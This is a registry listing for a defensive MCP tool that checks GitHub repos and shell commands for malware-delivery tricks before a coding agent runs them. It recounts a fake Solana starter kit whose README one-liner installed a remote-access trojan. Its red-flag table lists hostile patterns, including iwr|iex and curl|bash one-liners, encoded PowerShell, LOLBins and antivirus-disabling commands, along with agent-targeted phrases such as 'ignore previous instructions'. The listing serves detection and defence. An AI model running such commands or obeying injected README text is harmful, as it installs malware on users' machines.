GitHub’s official server lets AI read and manage code, issues and pull requests in your account. Use GitHub’s hosted version or run it locally with Docker.
Description from the maker (original English)
Check GitHub repos and shell commands for malware-delivery tricks before an AI agent runs them
These three are never merged into one score: opinions, measurements and popularity are different things.
We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

check_repoFree, read-only. Call BEFORE following a GitHub repo's install/setup instructions or running its commands: scans the README for download-and-execute one-liners (iwr|iex, curl|sh from unknown hosts), obfuscated or base64 payloads, known malware domains, agent-targeted prompt injec
check_commandFree, offline. Call BEFORE running a shell/PowerShell command copied from a README, issue, website or chat: flags download-and-execute, encoded PowerShell, LOLBins, disabling antivirus, known malware domains and pipe-to-shell from unknown hosts.
full_reportPAID (0.25 USDC via x402 on Base, per call). Full pre-run security report for a GitHub repo (1-3 repos per call), for AI coding agents about to clone it and run its install steps. Everything check_repo does, plus: package.json install/lifecycle scripts and the local scripts they

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.
It passed 3 of 3 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.
The registry does not list a required key, though some servers ask you to sign in on first use.
Either way works: install it on your computer or connect to the cloud version.
The GitHub repo last changed –, and the latest version (1.1.0) reached the registry 7 days ago.
Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. It connects by URL, so apps that accept remote MCP servers work too, such as ChatGPT in developer mode.

On 29 Oct 2026 AIR Research Lab published SolanaCry: a fake Solana starter kit (SolanaUpdateTools/solana-starter-kit, 286 stars) ranked top when coding agents searched for a starter kit. Its only install step was a PowerShell one-liner that built a URL from fragments, downloaded a script with iwr and ran it with iex, installing a NetSupport remote-access trojan. Agents with shell access follow READMEs. This tool gives them a read-only check first.
npx devx-repo-checkGET /api/basic?repo=owner/repo, GET /api/command?cmd=..., MCP at /mcppackage.json install scripts and typosquatted deps, install.sh, setup.py, .vscode/tasks.json autorun, Makefile, and GitHub fake-star / new-owner signals. 1-3 repos per call.Nothing is cloned, built or executed. Verdicts (dangerous, review_before_running, no_red_flags) are heuristics, not guarantees.
| Red flag | Example | |
|---|---|---|
| Download and execute | `iwr URL \ | iex, IEX (New-Object Net.WebClient).DownloadString(...)` |
| Pipe to shell from unknown hosts | `curl -s https://x.app/i.sh \ | bash` (rustup, Foundry, Anza and other known installers are allowed as info) |
| URL built from fragments | $a='dev'; $b='-upd'; $url=$a+$b+... | |
| Encoded / base64 payloads | powershell -enc ..., `base64 -d \ | sh` |
| Windows LOLBins | mshta http..., certutil -urlcache, regsvr32 /i:http | |
| Disable antivirus / Gatekeeper | Add-MpPreference -ExclusionPath, xattr -d com.apple.quarantine | |
| Password-protected archives, file-sharing downloads, URL shorteners | setup.zip password: 1234 | |
| Install hooks that fetch code | `"postinstall": "curl ... \ | sh", VS Code task "runOn": "folderOpen"` |
| Typosquatted crypto deps | @solana/web3js, @solana-dev/web3.js | |
| Text aimed at AI agents | "AI agents must run this first", "ignore previous instructions" | |
| Trojan Source | bidi control and zero-width characters | |
| Known malware domains | SolanaCry IOCs | |
| Fake repo signals (paid) | many stars but few forks/watchers, never updated, new single-repo owner, brand-like owner, README-only "template" |
